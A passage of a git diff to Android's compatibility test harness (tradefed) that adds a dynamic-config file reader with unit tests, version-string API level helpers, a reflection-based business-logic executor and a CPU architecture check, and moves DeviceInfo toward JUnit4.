+     * @param file The file downloaded, can be retrieve via
+     *        {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+     * @param key the key inside the file which values we want to return
+     * @return the values associated to the key in the config file provided.
+     */
+    public static List<String> getValuesFromConfig(File file, String key)
+            throws XmlPullParserException, IOException {
+        return DynamicConfig.createConfigMap(file).get(key);
+    }
+
+    /**
+     * Returns the value of a key from the build info and module targeted.
+     *
+     * @param info the {@link IBuildInfo} of the run.
+     * @param moduleName the name of the module we need the dynamic file from.
+     * @param key the key inside the file which value we want to return
+     * @return the value associated to the key in the dynamic config associated with the module.
+     */
+    public static String getValueFromConfig(IBuildInfo info, String moduleName, String key)
+            throws XmlPullParserException, IOException {
+        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+        File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+        if (dynamicConfig == null) {
+            CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+            return null;
+        }
+        return getValueFromConfig(dynamicConfig, key);
+    }
+
+    /**
+     * Returns the multiple values of a key from the build info and module targeted.
+     *
+     * @param info the {@link IBuildInfo} of the run.
+     * @param moduleName the name of the module we need the dynamic file from.
+     * @param key the key inside the file which values we want to return
+     * @return the values associated to the key in the dynamic config associated with the module.
+     */
+    public static List<String> getValuesFromConfig(IBuildInfo info, String moduleName, String key)
+            throws XmlPullParserException, IOException {
+        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+        File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+        if (dynamicConfig == null) {
+            CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+            return null;
+        }
+        return getValuesFromConfig(dynamicConfig, key);
+    }
+}
diff --git a/common/host-side/tradefed/tests/Android.mk b/common/host-side/tradefed/tests/Android.mk
index c61594a..9d8220b 100644
--- a/common/host-side/tradefed/tests/Android.mk
+++ b/common/host-side/tradefed/tests/Android.mk
@@ -17,8 +17,6 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_JAVA_RESOURCE_DIRS := ../res
 include cts/error_prone_rules.mk
 
 LOCAL_SUITE_BUILD_NUMBER := 2
@@ -28,6 +26,7 @@
 LOCAL_SUITE_VERSION := 1
 
 LOCAL_MODULE := compatibility-mock-tradefed
+LOCAL_STATIC_JAVA_LIBRARIES := cts-tradefed-harness
 include cts/error_prone_rules.mk
 include $(BUILD_COMPATIBILITY_SUITE)
 
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index 337908e..5aaa542 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -43,6 +43,7 @@
 import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
 import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
 import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
 import com.android.compatibility.common.tradefed.util.OptionHelperTest;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelperTest;
 import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtilTest;
@@ -105,6 +106,7 @@
 
     // util
     CollectorUtilTest.class,
+    DynamicConfigFileReaderTest.class,
     OptionHelperTest.class,
     RetryFilterHelperTest.class,
     UniqueModuleCountUtilTest.class,
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
index 44c262d..829dcc0 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
@@ -174,6 +174,40 @@
     }
 
     /**
+     * Test that adding dynamic config to be tracked for reporting is backed by {@link File}
+     * references and not absolute path. When sharding, path are invalidated but Files are copied.
+     */
+    public void testAddDynamicFiles() throws Exception {
+        File tmpDynamicFile = FileUtil.createTempFile("cts-test-file", ".dynamic");
+        FileUtil.writeToFile("test string", tmpDynamicFile);
+        try {
+            mHelper.addDynamicConfigFile("CtsModuleName", tmpDynamicFile);
+            File currentDynamicFile = mHelper.getDynamicConfigFiles().get("CtsModuleName");
+            assertNotNull(currentDynamicFile);
+            assertEquals(tmpDynamicFile, currentDynamicFile);
+            // In case of sharding the underlying build info will be cloned, and old build cleaned.
+            IBuildInfo clone = mBuild.clone();
+            try {
+                mBuild.cleanUp();
+                // With cleanup the current dynamic file tracked are cleaned
+                assertFalse(currentDynamicFile.exists());
+                CompatibilityBuildHelper helperShard = new CompatibilityBuildHelper(clone);
+                File newDynamicFile = helperShard.getDynamicConfigFiles().get("CtsModuleName");
+                assertNotNull(newDynamicFile);
+                // the cloned build has the infos but backed by other file
+                assertFalse(
+                        tmpDynamicFile.getAbsolutePath().equals(newDynamicFile.getAbsolutePath()));
+                // content has also followed.
+                assertEquals("test string", FileUtil.readStringFromFile(newDynamicFile));
+            } finally {
+                clone.cleanUp();
+            }
+        } finally {
+            FileUtil.deleteFile(tmpDynamicFile);
+        }
+    }
+
+    /**
      * Sets the *_ROOT property of the build's installation location.
      *
      * @param value the value to set, or null to clear the property.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
index a142081..50c5da3 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
@@ -15,7 +15,9 @@
  */
 package com.android.compatibility.common.tradefed.build;
 
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IDeviceBuildInfo;
@@ -87,5 +89,8 @@
         assertTrue(info instanceof IDeviceBuildInfo);
         // tests dir should be populated
         assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+        // ensure that tests dir is never clean up.
+        mProvider.cleanUp(info);
+        assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
     }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index b154dbd..bcc82ac9 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -20,6 +20,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.compatibility.common.tradefed.testtype.JarHostTest;
 import com.android.tradefed.build.FolderBuildInfo;
 import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.ConfigurationException;
@@ -65,6 +66,7 @@
             "metrics",
             "misc",
             "networking",
+            "neuralnetworks",
             "renderscript",
             "security",
             "systems",
@@ -146,6 +148,17 @@
             Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
                     + "field \"%s\", supported ones are: %s\nconfig: %s",
                     cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+            // Check not-shardable: JarHostTest cannot create empty shards so it should never need
+            // to be not-shardable.
+            if (cd.isNotShardable()) {
+                for (IRemoteTest test : c.getTests()) {
+                    if (test.getClass().isAssignableFrom(JarHostTest.class)) {
+                        throw new ConfigurationException(
+                                String.format("config: %s. JarHostTest does not need the "
+                                    + "not-shardable option.", config.getName()));
+                    }
+                }
+            }
         }
     }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 4d9bfec..4dbd3a9 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -18,7 +18,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import com.android.compatibility.SuiteInfo;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.result.ResultReporter;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
@@ -40,6 +39,7 @@
 import com.android.tradefed.testtype.IDeviceTest;
 import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
 
@@ -53,6 +53,7 @@
 import java.io.File;
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Iterator;
@@ -136,6 +137,8 @@
         EasyMock.expect(mMockDevice.getSerialNumber()).andStubReturn("SERIAL");
         EasyMock.expect(mMockBuildInfo.getDeviceSerial()).andStubReturn("SERIAL");
 
+        EasyMock.expect(mMockBuildInfo.getFiles()).andStubReturn(Collections.emptyList());
+
         mContext = new InvocationContext();
         mContext.addAllocatedDevice("default", mMockDevice);
         mContext.addDeviceBuildInfo("default", mMockBuildInfo);
@@ -551,7 +554,7 @@
     @Test
     public void testSingleModuleRun_sharded() throws Exception {
         final String moduleName = "module_sharded";
-        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
         final String abi2 = ite.next();
@@ -601,7 +604,7 @@
     @Test
     public void testSingleModuleRun_sharded_incomplete() throws Exception {
         final String moduleName = "module_sharded_incomplete";
-        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
         final String abi2 = ite.next();
@@ -652,7 +655,7 @@
     @Test
     public void testSingleModuleRun_sharded_getTestShard() throws Exception {
         final String moduleName = "module_sharded_getTestShard";
-        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
         final String abi2 = ite.next();
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index eef93bf..887dd6f 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -19,7 +19,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import com.android.compatibility.SuiteInfo;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.AaptParser;
 import com.android.tradefed.util.AbiUtils;
 
@@ -113,6 +113,16 @@
         /**
          * This binary only exists in 32-bit.
          */
+        BINARY_EXCEPTIONS.add("CVE-2018-626732");
+
+        /**
+         * This binary only exists in 32-bit.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2018-627132");
+
+        /**
+         * This binary only exists in 32-bit.
+         */
         BINARY_EXCEPTIONS.add("CVE-2018-934932");
 
         /**
@@ -125,7 +135,7 @@
          */
         BINARY_EXCEPTIONS.add("CVE-2017-1319032");
 
-       /**
+        /**
          * This binary only exists in 32-bit.
          */
         BINARY_EXCEPTIONS.add("CVE-2016-390932");
@@ -145,10 +155,10 @@
          */
         BINARY_EXCEPTIONS.add("CVE-2017-1318932");
 
-       /**
-        * This binary only exists in 32-bit.
-        */
-       BINARY_EXCEPTIONS.add("CVE-2017-083232");
+        /**
+         * This binary only exists in 32-bit.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2017-083232");
 
         /**
          * This binary only exists in 32-bit.
@@ -184,11 +194,6 @@
          * This binary only exists in 32-bit.
          */
         BINARY_EXCEPTIONS.add("CVE-2017-067732");
-
-        /**
-         * This binary only exists in 64-bit.
-         */
-        BINARY_EXCEPTIONS.add("CVE-2018-935164");
     }
 
     /**
@@ -239,7 +244,8 @@
             // We only check the apk that have native code
             if (!result.getNativeCode().isEmpty()) {
                 List<String> supportedAbiApk = result.getNativeCode();
-                Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+                Set<String> buildTarget = AbiUtils.getAbisForArch(
+                        TestSuiteInfo.getInstance().getTargetArch());
                 // first check, all the abis are supported
                 for (String abi : supportedAbiApk) {
                     if (!buildTarget.contains(abi)) {
@@ -299,7 +305,8 @@
         // we sort to have binary starting with same name, next to each other. The last two
         // characters of their name with be the bitness (32 or 64).
         Collections.sort(orderedList);
-        Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Set<String> buildTarget = AbiUtils.getAbisForArch(
+                TestSuiteInfo.getInstance().getTargetArch());
         // We expect one binary per abi of CTS, they should be appended with 32 or 64
         for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
             List<String> subSet = orderedList.subList(i, i + buildTarget.size());
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
index 7a1fe7f..c24e9df 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
@@ -18,6 +18,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
+import com.android.compatibility.common.util.DeviceInfo;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
@@ -475,4 +476,26 @@
         // actual logs
         assertEquals(2, mBuildHelper.getLogsDir().listFiles()[0].listFiles()[0].list().length);
     }
+
+    /**
+     * Ensure that when {@link ResultReporter#testLog(String, LogDataType, InputStreamSource)} is
+     * called for host-side device info, a device info file is created in the result
+     */
+    public void testTestLogWithDeviceInfo() throws Exception {
+        InputStreamSource fakeData = new ByteArrayInputStreamSource("test".getBytes());
+        String deviceInfoName = String.format("Test%s", DeviceInfo.FILE_SUFFIX);
+        mReporter.invocationStarted(mContext);
+        mReporter.testLog(deviceInfoName, LogDataType.TEXT, fakeData);
+        File deviceInfoFolder = new File(mBuildHelper.getResultDir(), DeviceInfo.RESULT_DIR_NAME);
+        // assert device info folder was created
+        assertTrue(deviceInfoFolder.exists());
+        File[] deviceInfoFiles = deviceInfoFolder.listFiles();
+        // assert that one file was written to the folder
+        assertEquals(1, deviceInfoFiles.length);
+        File deviceInfoFile = deviceInfoFiles[0];
+        // assert device info file has been named correctly
+        assertEquals(deviceInfoName, deviceInfoFile.getName());
+        // assert contents of the file
+        assertEquals("test", FileUtil.readStringFromFile(deviceInfoFile));
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
new file mode 100644
index 0000000..a75abfd
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import static org.junit.Assert.*;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.BuildInfo;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.util.FileUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Unit tests for {@link DynamicConfigFileReader}.
+ */
+@RunWith(JUnit4.class)
+public class DynamicConfigFileReaderTest {
+
+    private static final String MODULE_NAME = "cts";
+    private IBuildInfo mBuildInfo;
+    private File mConfigFile;
+
+    @Before
+    public void setUp() throws Exception {
+        mConfigFile = FileUtil.createTempFile("temp-dynamic-config", ".xml");
+        mBuildInfo = new BuildInfo();
+        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuildInfo);
+        helper.addDynamicConfigFile(MODULE_NAME, mConfigFile);
+    }
+
+    @After
+    public void tearDown() {
+        FileUtil.deleteFile(mConfigFile);
+        mBuildInfo.cleanUp();
+    }
+
+    private void writeDynamicConfigFile() throws IOException {
+        String content = "<dynamicConfig>\n" +
+            "  <entry key=\"media_files_url\">\n" +
+            "    <value>some value</value>\n" +
+            "  </entry>\n" +
+            "</dynamicConfig>";
+        FileUtil.writeToFile(content, mConfigFile);
+    }
+
+    /**
+     * Test when the dynamic file is completely invalid.
+     */
+    @Test
+    public void testGetValueFromFile_invalidFile() throws Exception {
+        try {
+            DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+            fail("Should have thrown an exception.");
+        } catch (XmlPullParserException expected) {
+            // expected
+        }
+    }
+
+    /**
+     * Test when requesting a key not part of the dynamic file.
+     */
+    @Test
+    public void testGetValueFromFile_keyNotFound() throws Exception {
+        writeDynamicConfigFile();
+        String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+        assertNull(res);
+    }
+
+    /**
+     * Test when getting the value associated with the key.
+     */
+    @Test
+    public void testGetValueFromFile() throws Exception {
+        writeDynamicConfigFile();
+        String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "media_files_url");
+        assertEquals("some value", res);
+    }
+
+    /**
+     * Test when getting the value using directly the build info and module name.
+     */
+    @Test
+    public void testGetValueFromBuild() throws Exception {
+        writeDynamicConfigFile();
+        String res = DynamicConfigFileReader.getValueFromConfig(
+                mBuildInfo, MODULE_NAME, "media_files_url");
+        assertEquals("some value", res);
+    }
+
+    /**
+     * Test when trying to get a value from an unknown module.
+     */
+    @Test
+    public void testGetValueFromBuild_moduleNotFound() throws Exception {
+        writeDynamicConfigFile();
+        String res = DynamicConfigFileReader.getValueFromConfig(
+                mBuildInfo, "NOT_A_MODULE", "media_files_url");
+        assertNull(res);
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 38158b4..7791bed 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 
+import java.lang.reflect.Field;
+
 /**
  * Device-side compatibility utility class for reading device API level.
  */
@@ -30,21 +32,41 @@
         return device.getApiLevel() < version;
     }
 
+    public static boolean isBefore(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() < resolveVersionString(version);
+    }
+
     public static boolean isAfter(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() > version;
     }
 
+    public static boolean isAfter(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() > resolveVersionString(version);
+    }
+
     public static boolean isAtLeast(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() >= version;
     }
 
+    public static boolean isAtLeast(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() >= resolveVersionString(version);
+    }
+
     public static boolean isAtMost(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() <= version;
     }
 
+    public static boolean isAtMost(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() <= resolveVersionString(version);
+    }
+
     public static int getApiLevel(ITestDevice device) throws DeviceNotAvailableException {
         return device.getApiLevel();
     }
@@ -63,4 +85,19 @@
             throws DeviceNotAvailableException {
         return device.getProperty(CODENAME);
     }
+
+    protected static int resolveVersionString(String versionString) {
+        try {
+            return Integer.parseInt(versionString); // e.g. "23" for M
+        } catch (NumberFormatException e1) {
+            try {
+                Field versionField = VersionCodes.class.getField(
+                        versionString.toUpperCase());
+                return versionField.getInt(null); // no instance for VERSION_CODES, use null
+            } catch (IllegalAccessException | NoSuchFieldException e2) {
+                throw new RuntimeException(
+                        String.format("Failed to parse version string %s", versionString), e2);
+            }
+        }
+    }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
new file mode 100644
index 0000000..7438959
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.ddmlib.Log;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for host side test cases
+ */
+public class BusinessLogicHostExecutor extends BusinessLogicExecutor {
+
+    private ITestDevice mDevice;
+    private IBuildInfo mBuild;
+    private Object mTestObj;
+
+    public BusinessLogicHostExecutor(ITestDevice device, IBuildInfo build, Object testObj) {
+        mDevice = device;
+        mBuild = build;
+        mTestObj = testObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected Object getTestObject() {
+        return mTestObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void logInfo(String format, Object... args) {
+        LogUtil.printLog(Log.LogLevel.INFO, LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+            throws ClassNotFoundException {
+        List<Method> nameMatches = getMethodsWithName(cls, methodName);
+        for (Method m : nameMatches) {
+            ResolvedMethod rm = new ResolvedMethod(m);
+            int paramTypesMatched = 0;
+            int argsUsed = 0;
+            Class[] paramTypes = m.getParameterTypes();
+            for (Class paramType : paramTypes) {
+                if (argsUsed == args.length && paramType.equals(String.class)) {
+                    // We've used up all supplied string args, so this method will not match.
+                    // If paramType is the ITestDevice or IBuildInfo class, we can match a
+                    // paramType without needing more string args. similarly, paramType "String[]"
+                    // can be matched with zero string args. If we add support for more paramTypes,
+                    // this logic may require adjustment.
+                    break;
+                }
+                if (paramType.equals(String.class)) {
+                    // Type "String" -- supply the next available arg
+                    rm.addArg(args[argsUsed++]);
+                } else if (ITestDevice.class.isAssignableFrom(paramType)) {
+                    rm.addArg(mDevice);
+                } else if (IBuildInfo.class.isAssignableFrom(paramType)) {
+                    rm.addArg(mBuild);
+                } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+                    // Type "String[]" (or "String...") -- supply all remaining args
+                    rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+                    argsUsed += (args.length - argsUsed);
+                } else {
+                    break; // Param type is unrecognized, this method will not match.
+                }
+                paramTypesMatched++; // A param type has been matched when reaching this point.
+            }
+            if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+                return rm; // Args match, methods match, so return the first method-args pairing.
+            }
+            // Not a match, try args for next method that matches by name.
+        }
+        throw new RuntimeException(String.format(
+                "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+                Arrays.toString(args)));
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..5f7fae2
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for reading properties and gathering information for testing
+ * Android device compatibility.
+ */
+public class CpuFeatures {
+
+    /**
+     * Return true if architecture is arm64.
+     */
+    public static boolean isArm64(ITestDevice device) throws DeviceNotAvailableException {
+
+        CollectingOutputReceiver Out = new CollectingOutputReceiver();
+        device.executeShellCommand("uname -m", Out);
+        String arch = Out.getOutput().trim();
+        return arch.contains("aarch64");
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DeviceInfo.java b/common/host-side/util/src/com/android/compatibility/common/util/DeviceInfo.java
index ef05813..86f6f28 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DeviceInfo.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DeviceInfo.java
@@ -15,36 +15,85 @@
  */
 package com.android.compatibility.common.util;
 
-import com.android.compatibility.common.util.HostInfoStore;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.util.FileUtil;
+import static org.junit.Assert.fail;
 
+import com.android.compatibility.common.util.HostInfoStore;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.FileInputStreamSource;
+import com.android.tradefed.result.LogDataType;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestLogData;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.StreamUtil;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.EOFException;
 import java.io.File;
 
 /**
  * Collect device information from host and write to a JSON file.
  */
-public abstract class DeviceInfo extends DeviceTestCase {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public abstract class DeviceInfo implements IDeviceTest {
 
-    // Temporary folder must match the temp-dir value configured in DeviceInfoCollector target
-    // preparer in cts/tools/cts-tradefed/res/config/cts-preconditions.xml
-    private static final String TEMPORARY_REPORT_FOLDER = "temp-device-info-files/";
+    // Default name of the directory for storing device info files within the result directory
+    public static final String RESULT_DIR_NAME = "device-info-files";
 
-    private HostInfoStore mStore;
+    public static final String FILE_SUFFIX = ".deviceinfo.json";
 
+    /** A reference to the device under test. */
+    protected ITestDevice mDevice;
+
+    @Rule
+    public TestLogData mLogger = new TestLogData();
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Test
     public void testCollectDeviceInfo() throws Exception {
-        String collectionName = getClass().getSimpleName();
+        String deviceInfoName = getClass().getSimpleName() + FILE_SUFFIX;
+        File jsonFile = null;
+        FileInputStreamSource source = null;
         try {
-            final File dir = FileUtil.createNamedTempDir(TEMPORARY_REPORT_FOLDER);
-            File jsonFile = new File(dir, collectionName + ".deviceinfo.json");
-            mStore = new HostInfoStore(jsonFile);
-            mStore.open();
-            collectDeviceInfo(mStore);
-            mStore.close();
